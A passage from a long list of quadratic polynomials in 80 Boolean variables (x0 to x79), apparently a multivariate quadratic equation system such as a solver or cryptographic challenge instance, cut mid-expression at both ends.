x25*x55 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x70 + x25*x71 + x25*x76 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x34 + x26*x35 + x26*x36 + x26*x40 + x26*x42 + x26*x43 + x26*x44 + x26*x47 + x26*x48 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x61 + x26*x64 + x26*x66 + x26*x68 + x26*x71 + x26*x72 + x26*x73 + x26*x77 + x27*x29 + x27*x32 + x27*x33 + x27*x35 + x27*x37 + x27*x39 + x27*x41 + x27*x42 + x27*x44 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x52 + x27*x53 + x27*x54 + x27*x56 + x27*x60 + x27*x62 + x27*x66 + x27*x67 + x27*x69 + x27*x70 + x27*x71 + x27*x76 + x27*x78 + x27*x79 + x27 + x28*x31 + x28*x34 + x28*x35 + x28*x37 + x28*x39 + x28*x40 + x28*x41 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x51 + x28*x52 + x28*x60 + x28*x62 + x28*x63 + x28*x65 + x28*x69 + x28*x72 + x28*x78 + x28 + x29*x30 + x29*x32 + x29*x35 + x29*x38 + x29*x42 + x29*x43 + x29*x44 + x29*x48 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x60 + x29*x61 + x29*x62 + x29*x65 + x29*x69 + x29*x72 + x29*x73 + x29*x74 + x29*x77 + x30*x32 + x30*x33 + x30*x36 + x30*x42 + x30*x45 + x30*x46 + x30*x52 + x30*x53 + x30*x54 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x63 + x30*x66 + x30*x71 + x30*x72 + x30*x73 + x30*x76 + x30*x79 + x30 + x31*x35 + x31*x38 + x31*x40 + x31*x48 + x31*x49 + x31*x50 + x31*x54 + x31*x55 + x31*x56 + x31*x61 + x31*x64 + x31*x65 + x31*x66 + x31*x68 + x31*x70 + x31*x73 + x31*x74 + x31*x78 + x31*x79 + x32*x33 + x32*x35 + x32*x36 + x32*x37 + x32*x39 + x32*x40 + x32*x41 + x32*x43 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x49 + x32*x50 + x32*x52 + x32*x53 + x32*x58 + x32*x62 + x32*x63 + x32*x65 + x32*x67 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x76 + x32*x79 + x32 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x41 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x51 + x33*x52 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x61 + x33*x62 + x33*x63 + x33*x67 + x33*x69 + x33*x72 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x34*x35 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x49 + x34*x51 + x34*x52 + x34*x55 + x34*x57 + x34*x58 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x65 + x34*x69 + x34*x71 + x34*x72 + x34*x74 + x34*x77 + x34*x79 + x35*x41 + x35*x42 + x35*x43 + x35*x46 + x35*x47 + x35*x49 + x35*x54 + x35*x58 + x35*x59 + x35*x60 + x35*x61 + x35*x63 + x35*x65 + x35*x71 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x43 + x36*x45 + x36*x46 + x36*x48 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x58 + x36*x59 + x36*x61 + x36*x63 + x36*x65 + x36*x66 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x36 + x37*x38 + x37*x39 + x37*x45 + x37*x48 + x37*x51 + x37*x53 + x37*x54 + x37*x57 + x37*x63 + x37*x64 + x37*x65 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x76 + x37*x78 + x37 + x38*x40 + x38*x42 + x38*x43 + x38*x46 + x38*x47 + x38*x51 + x38*x56 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x67 + x38*x68 + x38*x69 + x38*x71 + x38*x72 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x42 + x39*x44 + x39*x49 + x39*x50 + x39*x52 + x39*x53 + x39*x54 + x39*x56 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x72 + x39*x73 + x39*x76 + x39*x78 + x39*x79 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x62 + x40*x65 + x40*x66 + x40*x68 + x40*x69 + x40*x71 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x41*x42 + x41*x45 + x41*x46 + x41*x47 + x41*x50 + x41*x53 + x41*x54 + x41*x55 + x41*x57 + x41*x58 + x41*x59 + x41*x60 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x70 + x41*x74 + x41*x75 + x41*x77 + x41*x78 + x41*x79 + x42*x44 + x42*x46 + x42*x49 + x42*x50 + x42*x51 + x42*x53 + x42*x55 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x68 + x42*x70 + x42*x71 + x42*x73 + x42 + x43*x46 + x43*x55 + x43*x58 + x43*x60 + x43*x62 + x43*x65 + x43*x68 + x43*x70 + x43*x71 + x43*x73 + x43*x75 + x44*x46 + x44*x53 + x44*x54 + x44*x58 + x44*x61 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x70 + x44*x72 + x44*x73 + x44*x75 + x44*x77 + x44 + x45*x47 + x45*x50 + x45*x51 + x45*x53 + x45*x54 + x45*x57 + x45*x58 + x45*x60 + x45*x61 + x45*x63 + x45*x64 + x45*x66 + x45*x69 + x45*x70 + x45*x71 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x48 + x46*x50 + x46*x52 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x62 + x46*x65 + x46*x67 + x46*x74 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x50 + x47*x54 + x47*x56 + x47*x59 + x47*x62 + x47*x63 + x47*x68 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x53 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x61 + x48*x62 + x48*x63 + x48*x64 + x48*x68 + x48*x69 + x48*x74 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x53 + x49*x56 + x49*x59 + x49*x60 + x49*x61 + x49*x62 + x49*x63 + x49*x67 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x50*x51 + x50*x53 + x50*x54 + x50*x58 + x50*x59 + x50*x62 + x50*x63 + x50*x64 + x50*x66 + x50*x67 + x50*x68 + x50*x69 + x50*x70 + x50*x74 + x50*x75 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x58 + x51*x59 + x51*x60 + x51*x63 + x51*x64 + x51*x65 + x51*x66 + x51*x67 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x76 + x51*x78 + x52*x55 + x52*x56 + x52*x57 + x52*x58 + x52*x61 + x52*x70 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x57 + x53*x61 + x53*x65 + x53*x66 + x53*x68 + x53*x69 + x53*x72 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x54*x55 + x54*x57 + x54*x58 + x54*x59 + x54*x61 + x54*x64 + x54*x66 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x72 + x54*x74 + x54 + x55*x56 + x55*x58 + x55*x59 + x55*x62 + x55*x63 + x55*x64 + x55*x67 + x55*x68 + x55*x70 + x55*x71 + x55*x72 + x55*x74 + x55*x75 + x55*x76 + x55*x77 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x62 + x56*x63 + x56*x64 + x56*x66 + x56*x67 + x56*x74 + x56*x75 + x56*x78 + x56*x79 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x64 + x57*x65 + x57*x68 + x57*x71 + x57*x77 + x57*x79 + x58*x59 + x58*x63 + x58*x64 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x73 + x58*x75 + x58*x76 + x59*x60 + x59*x62 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x73 + x59*x77 + x59*x78 + x59 + x60*x62 + x60*x63 + x60*x64 + x60*x66 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x77 + x60*x78 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x68 + x61*x69 + x61*x70 + x61*x72 + x61*x75 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x71 + x62*x73 + x62*x74 + x62*x76 + x62*x78 + x62*x79 + x63*x64 + x63*x65 + x63*x68 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x63 + x64*x65 + x64*x68 + x64*x69 + x64*x70 + x64*x72 + x64*x75 + x64*x76 + x64*x77 + x64*x79 + x65*x66 + x65*x68 + x65*x69 + x65*x70 + x65*x71 + x65*x74 + x65*x75 + x65*x77 + x65*x79 + x65 + x66*x68 + x66*x70 + x66*x74 + x66*x76 + x66*x77 + x66*x79 + x66 + x67*x68 + x67*x70 + x67*x74 + x67*x75 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x71 + x68*x72 + x68*x75 + x68 + x69*x70 + x69*x72 + x69*x73 + x69*x74 + x69*x75 + x69*x77 + x69*x78 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x73 + x70*x76 + x70*x77 + x70*x79 + x71*x73 + x71*x75 + x71*x76 + x71*x77 + x71*x79 + x72*x78 + x72 + x73*x75 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x75*x77 + x75*x78 + x75 + x76*x78 + x76 + x77*x79 + x78 + x79 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x7 + x0*x9 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x21 + x0*x24 + x0*x27 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x39 + x0*x41 + x0*x43 + x0*x46 + x0*x47 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x55 + x0*x57 + x0*x61 + x0*x63 + x0*x69 + x0*x70 + x0*x75 + x0*x77 + x0*x79 + x0 + x1*x2 + x1*x4 + x1*x5 + x1*x8 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x30 + x1*x32 + x1*x34 + x1*x35 + x1*x37 + x1*x39 + x1*x40 + x1*x41 + x1*x43 + x1*x44 + x1*x46 + x1*x48 + x1*x50 + x1*x51 + x1*x52 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x67 + x1*x70 + x1*x71 + x1*x75 + x1*x77 + x1*x78 + x1 + x2*x3 + x2*x4 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x12 + x2*x13 + x2*x17 + x2*x18 + x2*x21 + x2*x23 + x2*x26 + x2*x30 + x2*x34 + x2*x37 + x2*x38 + x2*x39 + x2*x43 + x2*x44 + x2*x45 + x2*x48 + x2*x49 + x2*x51 + x2*x54 + x2*x55 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x65 + x2*x67 + x2*x74 + x2 + x3*x4 + x3*x6 + x3*x8 + x3*x10 + x3*x12 + x3*x13 + x3*x15 + x3*x16 + x3*x20 + x3*x23 + x3*x26 + x3*x28 + x3*x29 + x3*x30 + x3*x32 + x3*x38 + x3*x40 + x3*x43 + x3*x45 + x3*x47 + x3*x49 + x3*x50 + x3*x51 + x3*x54 + x3*x58 + x3*x61 + x3*x63 + x3*x66 + x3*x70 + x3*x71 + x3*x76 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x11 + x4*x12 + x4*x14 + x4*x15 + x4*x18 + x4*x20 + x4*x21 + x4*x23 + x4*x26 + x4*x28 + x4*x31 + x4*x32 + x4*x35 + x4*x37 + x4*x40 + x4*x41 + x4*x45 + x4*x46 + x4*x47 + x4*x49 + x4*x52 + x4*x55 + x4*x62 + x4*x63 + x4*x64 + x4*x67 + x4*x71 + x4*x73 + x4*x77 + x4*x78 + x4 + x5*x6 + x5*x7 + x5*x16 + x5*x17 + x5*x18 + x5*x19 + x5*x22 + x5*x23 + x5*x25 + x5*x27 + x5*x28 + x5*x30 + x5*x36 + x5*x39 + x5*x40 + x5*x41 + x5*x45 + x5*x46 + x5*x48 + x5*x50 + x5*x51 + x5*x53 + x5*x54 + x5*x56 + x5*x58 + x5*x59 + x5*x61 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x73 + x5*x78 + x5*x79 + x6*x7 + x6*x8 + x6*x11 + x6*x12 + x6*x17 + x6*x18 + x6*x19 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x29 + x6*x31 + x6*x33 + x6*x36 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x46 + x6*x47 + x6*x50 + x6*x53 + x6*x58 + x6*x61 + x6*x64 + x6*x66 + x6*x69 + x6*x70 + x6*x72 + x6*x75 + x6*x78 + x6*x79 + x6 + x7*x9 + x7*x11 + x7*x15 + x7*x26 + x7*x28 + x7*x29 + x7*x30 + x7*x36 + x7*x39 + x7*x40 + x7*x41 + x7*x44 + x7*x46 + x7*x47 + x7*x48 + x7*x57 + x7*x59 + x7*x60 + x7*x62 + x7*x63 + x7*x64 + x7*x67 + x7*x68 + x7*x70 + x7*x71 + x7*x72 + x7*x77 + x7*x78 + x7*x79 + x8*x10 + x8*x14 + x8*x18 + x8*x20 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x35 + x8*x36 + x8*x37 + x8*x39 + x8*x43 + x8*x45 + x8*x49 + x8*x50 + x8*x52 + x8*x53 + x8*x54 + x8*x57 + x8*x59 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x69 + x8*x71 + x8*x74 + x8*x75 + x8*x77 + x8 + x9*x10 + x9*x11 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x21 + x9*x25 + x9*x34 + x9*x37 + x9*x38 + x9*x41 + x9*x44 + x9*x46 + x9*x47 + x9*x48 + x9*x49 + x9*x52 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x65 + x9*x66 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x9*x76 + x9*x77 + x10*x12 + x10*x18 + x10*x21 + x10*x22 + x10*x23 + x10*x28 + x10*x31 + x10*x32 + x10*x33 + x10*x35 + x10*x36 + x10*x37 + x10*x41 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x48 + x10*x49 + x10*x50 + x10*x54 + x10*x55 + x10*x56 + x10*x58 + x10*x59 + x10*x61 + x10*x62 + x10*x67 + x10*x68 + x10*x69 + x10*x70 + x10*x72 + x10*x73 + x10*x74 + x11*x12 + x11*x14 + x11*x15 + x11*x16 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x25 + x11*x26 + x11*x28 + x11*x29 + x11*x32 + x11*x33 + x11*x34 + x11*x36 + x11*x40 + x11*x42 + x11*x43 + x11*x45 + x11*x46 + x11*x50 + x11*x52 + x11*x55 + x11*x57 + x11*x59 + x11*x60 + x11*x61 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x72 + x11*x73 + x11*x77 + x11*x78 + x11 + x12*x13 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x21 + x12*x23 + x12*x25 + x12*x27 + x12*x29 + x12*x30 + x12*x33 + x12*x35 + x12*x37 + x12*x38 + x12*x40 + x12*x46 + x12*x48 + x12*x49 + x12*x51 + x12*x52 + x12*x53 + x12*x54 + x12*x58 + x12*x60 + x12*x65 + x12*x66 + x12*x69 + x12*x70 + x12*x73 + x12*x76 + x12*x78 + x13*x14 + x13*x15 + x13*x17 + x13*x19 + x13*x21 + x13*x23 + x13*x25 + x13*x26 + x13*x30 + x13*x31 + x13*x35 + x13*x36 + x13*x37 + x13*x38 + x13*x41 + x13*x43 + x13*x45 + x13*x46 + x13*x48 + x13*x49 + x13*x52 + x13*x54 + x13*x57 + x13*x59 + x13*x61 + x13*x62 + x13*x63 + x13*x66 + x13*x67 + x13*x68 + x13*x71 + x13*x73 + x13*x76 + x13*x77 + x13*x79 + x13 + x14*x15 + x14*x18 + x14*x19 + x14*x20 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x28 + x14*x29 + x14*x30 + x14*x31 + x14*x34 + x14*x37 + x14*x40 + x14*x41 + x14*x44 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x52 + x14*x57 + x14*x60 + x14*x63 + x14*x64 + x14*x65 + x14*x67 + x14*x68 + x14*x70 + x14*x71 + x14*x76 + x14*x79 + x15*x16 + x15*x17 + x15*x19 + x15*x21 + x15*x22 + x15*x25 + x15*x26 + x15*x29 + x15*x33 + x15*x34 + x15*x36 + x15*x37 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x45 + x15*x49 + x15*x50 + x15*x55 + x15*x57 + x15*x58 + x15*x60 + x15*x61 + x15*x63 + x15*x66 + x15*x69 + x15*x70 + x15*x71 + x15*x75 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x19 + x16*x20 + x16*x22 + x16*x23 + x16*x25 + x16*x26 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x40 + x16*x42 + x16*x43 + x16*x45 + x16*x48 + x16*x50 + x16*x52 + x16*x55 + x16*x58 + x16*x60 + x16*x63 + x16*x64 + x16*x70 + x16*x73 + x16*x74 + x16*x75 + x16*x76 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x20 + x17*x21 + x17*x23 + x17*x24 + x17*x25 + x17*x30 + x17*x31 + x17*x32 + x17*x37 + x17*x38 + x17*x41 + x17*x42 + x17*x44 + x17*x48 + x17*x49 + x17*x54 + x17*x55 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x66 + x17*x69 + x17*x70 + x17*x71 + x17*x73 + x17*x74 + x17*x77 + x17 + x18*x19 + x18*x23 + x18*x25 + x18*x31 + x18*x32 + x18*x39 + x18*x40 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x48 + x18*x50 + x18*x51 + x18*x54 + x18*x56 + x18*x59 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x68 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x78 + x19*x21 + x19*x22 + x19*x23 + x19*x25 + x19*x26 + x19*x27 + x19*x28 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x39 + x19*x45 + x19*x49 + x19*x52 + x19*x53 + x19*x55 + x19*x56 + x19*x57 + x19*x60 + x19*x61 + x19*x62 + x19*x64 + x19*x67 + x19*x68 + x19*x69 + x19*x71 + x19*x72 + x19*x74 + x19*x76 + x19*x77 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x24 + x20*x25 + x20*x27 + x20*x28 + x20*x29 + x20*x30 + x20*x31 + x20*x37 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x44 + x20*x47 + x20*x49 + x20*x51 + x20*x54 + x20*x57 + x20*x58 + x20*x59 + x20*x60 + x20*x61 + x20*x63 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x72 + x20*x73 + x20*x74 + x20*x77 + x20*x78 + x20*x79 + x20 + x21*x26 + x21*x27 + x21*x29 + x21*x30 + x21*x37 + x21*x39 + x21*x40 + x21*x41 + x21*x46 + x21*x47 + x21*x49 + x21*x51 + x21*x52 + x21*x54 + x21*x57 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x66 + x21*x67 + x21*x71 + x21*x73 + x21*x74 + x21*x76 + x21*x78 + x21*x79 + x21 + x22*x24 + x22*x25 + x22*x28 + x22*x29 + x22*x32 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x47 + x22*x49 + x22*x50 + x22*x54 + x22*x59 + x22*x63 + x22*x64 + x22*x67 + x22*x68 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x76 + x22 + x23*x24 + x23*x25 + x23*x32 + x23*x33 + x23*x34 + x23*x35 + x23*x36 + x23*x37 + x23*x39 + x23*x40 + x23*x41 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x47 + x23*x49 + x23*x56 + x23*x58 + x23*x60 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x67 + x23*x69 + x23*x74 + x23*x77 + x23*x78 + x23*x79 + x23 + x24*x28 + x24*x29 + x24*x31 + x24*x32 + x24*x33 + x24*x34 + x24*x36 + x24*x39 + x24*x41 + x24*x43 + x24*x45 + x24*x46 + x24*x48 + x24*x51 + x24*x56 + x24*x57 + x24*x60 + x24*x61 + x24*x62 + x24*x64 + x24*x66 + x24*x68 + x24*x69 + x24*x71 + x24*x72 + x24*x74 + x24*x75 + x24*x76 + x24*x78 + x25*x28 + x25*x29 + x25*x32 + x25*x33 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x43 + x25*x45 + x25*x46 + x25*x47 + x25*x48 + x25*x49 + x25*x52 + x25*x57 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x65 + x25*x66 + x25*x68 + x25*x70 + x25*x73 + x25*x74 + x25*x77 + x25*x78 + x26*x27 + x26*x29 + x26*x30 + x26*x33 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x40 + x26*x45 + x26*x46 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x59 + x26*x61 + x26*x62 + x26*x65 + x26*x67 + x26*x75 + x26*x76 + x26 + x27*x31 + x27*x36 + x27*x37 + x27*x39 + x27*x41 + x27*x44 + x27*x45 + x27*x46 + x27*x47 + x27*x48 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x57 + x27*x58 + x27*x59 + x27*x63 + x27*x65 + x27*x69 + x27*x70 + x27*x71 + x27*x74 + x27*x76 + x27*x77 + x27*x79 + x28*x31 + x28*x32 + x28*x35 + x28*x39 + x28*x41 + x28*x42 + x28*x43 + x28*x47 + x28*x48 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x58 + x28*x62 + x28*x65 + x28*x67 + x28*x68 + x28*x69 + x28*x71 + x28*x72 + x28*x74 + x28*x77 + x28*x78 + x28*x79 + x29*x33 + x29*x34 + x29*x35 + x29*x43 + x29*x45 + x29*x48 + x29*x50 + x29*x51 + x29*x54 + x29*x57 + x29*x59 + x29*x60 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x71 + x29*x74 + x29*x75 + x29*x76 + x29*x77 + x29*x79 + x30*x31 + x30*x38 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x49 + x30*x54 + x30*x56 + x30*x57 + x30*x61 + x30*x63 + x30*x65 + x30*x67 + x30*x71 + x30*x74 + x30*x75 + x30*x76 + x31*x32 + x31*x33 + x31*x34 + x31*x36 + x31*x37 + x31*x39 + x31*x40 + x31*x42 + x31*x45 + x31*x46 + x31*x47 + x31*x48 + x31*x49 + x31*x51 + x31*x52 + x31*x54 + x31*x55 + x31*x59 + x31*x61 + x31*x62 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x72 + x31*x77 + x31*x78 + x32*x39 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x47 + x32*x51 + x32*x53 + x32*x60 + x32*x61 + x32*x63 + x32*x64 + x32*x73 + x32*x75 + x32*x79 + x32 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x54 + x33*x55 + x33*x56 + x33*x60 + x33*x61 + x33*x63 + x33*x64 + x33*x65 + x33*x68 + x33*x69 + x33*x70 + x33*x72 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x39 + x34*x40 + x34*x41 + x34*x43 + x34*x44 + x34*x45 + x34*x49 + x34*x50 + x34*x51 + x34*x55 + x34*x56 + x34*x58 + x34*x60 + x34*x63 + x34*x64 + x34*x69 + x34*x72 + x34*x75 + x34*x76 + x34 + x35*x36 + x35*x37 + x35*x40 + x35*x44 + x35*x48 + x35*x51 + x35*x52 + x35*x56 + x35*x58 + x35*x59 + x35*x60 + x35*x62 + x35*x63 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x71 + x35*x76 + x35 + x36*x37 + x36*x39 + x36*x42 + x36*x43 + x36*x44 + x36*x46 + x36*x48 + x36*x53 + x36*x54 + x36*x55 + x36*x61 + x36*x65 + x36*x68 + x36*x70 + x36*x74 + x36*x75 + x36*x78 + x36 + x37*x40 + x37*x41 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x48 + x37*x50 + x37*x51 + x37*x54 + x37*x55 + x37*x56 + x37*x57 + x37*x58 + x37*x61 + x37*x63 + x37*x64 + x37*x65 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x75 + x37*x76 + x37*x77 + x37 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x47 + x38*x49 + x38*x50 + x38*x52 + x38*x53 + x38*x57 + x38*x59 + x38*x60 + x38*x63 + x38*x67 + x38*x68 + x38*x69 + x38*x72 + x38*x74 + x38*x75 + x38*x77 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x42 + x39*x46 + x39*x48 + x39*x50 + x39*x54 + x39*x58 + x39*x59 + x39*x60 + x39*x66 + x39*x68 + x39*x70 + x39*x71 + x39*x74 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x43 + x40*x46 + x40*x49 + x40*x50 + x40*x52 + x40*x54 + x40*x55 + x40*x57 + x40*x59 + x40*x60 + x40*x62 + x40*x64 + x40*x66 + x40*x68 + x40*x71 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x40*x79 + x41*x46 + x41*x49 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x61 + x41*x64 + x41*x65 + x41*x69 + x41*x71 + x41*x73 + x41*x74 + x41*x76 + x41*x77 + x41*x78 + x42*x45 + x42*x48 + x42*x49 + x42*x51 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x69 + x42*x70 + x42*x76 + x42*x77 + x43*x44 + x43*x45 + x43*x46 + x43*x49 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x58 + x43*x59 + x43*x60 + x43*x62 + x43*x67 + x43*x68 + x43*x69 + x43*x73 + x43*x74 + x43*x76 + x43*x77 + x44*x49 + x44*x50 + x44*x51 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x61 + x44*x62 + x44*x63 + x44*x64 + x44*x66 + x44*x67 + x44*x71 + x44*x72 + x44*x74 + x44*x77 + x44*x79 + x45*x50 + x45*x52 + x45*x55 + x45*x56 + x45*x58 + x45*x59 + x45*x62 + x45*x64 + x45*x66 + x45*x70 + x45*x71 + x45*x72 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45*x79 + x45 + x46*x47 + x46*x51 + x46*x52 + x46*x53 + x46*x54 + x46*x55 + x46*x57 + x46*x58 + x46*x59 + x46*x60 + x46*x61 + x46*x62 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x75 + x46*x78 + x46*x79 + x47*x48 + x47*x50 + x47*x52 + x47*x53 + x47*x54 + x47*x56 + x47*x61 + x47*x66 + x47*x69 + x47*x72 + x47*x74 + x47*x75 + x47*x76 + x47*x78 + x47*x79 + x48*x49 + x48*x52 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x72 + x48*x74 + x48 + x49*x50 + x49*x55 + x49*x57 + x49*x59 + x49*x61 + x49*x63 + x49*x65 + x49*x68 + x49*x70 + x49*x71 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x49*x79 + x50*x51 + x50*x52 + x50*x53 + x50*x58 + x50*x59 + x50*x61 + x50*x62 + x50*x65 + x50*x66 + x50*x68 + x50*x69 + x50*x71 + x50*x72 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + 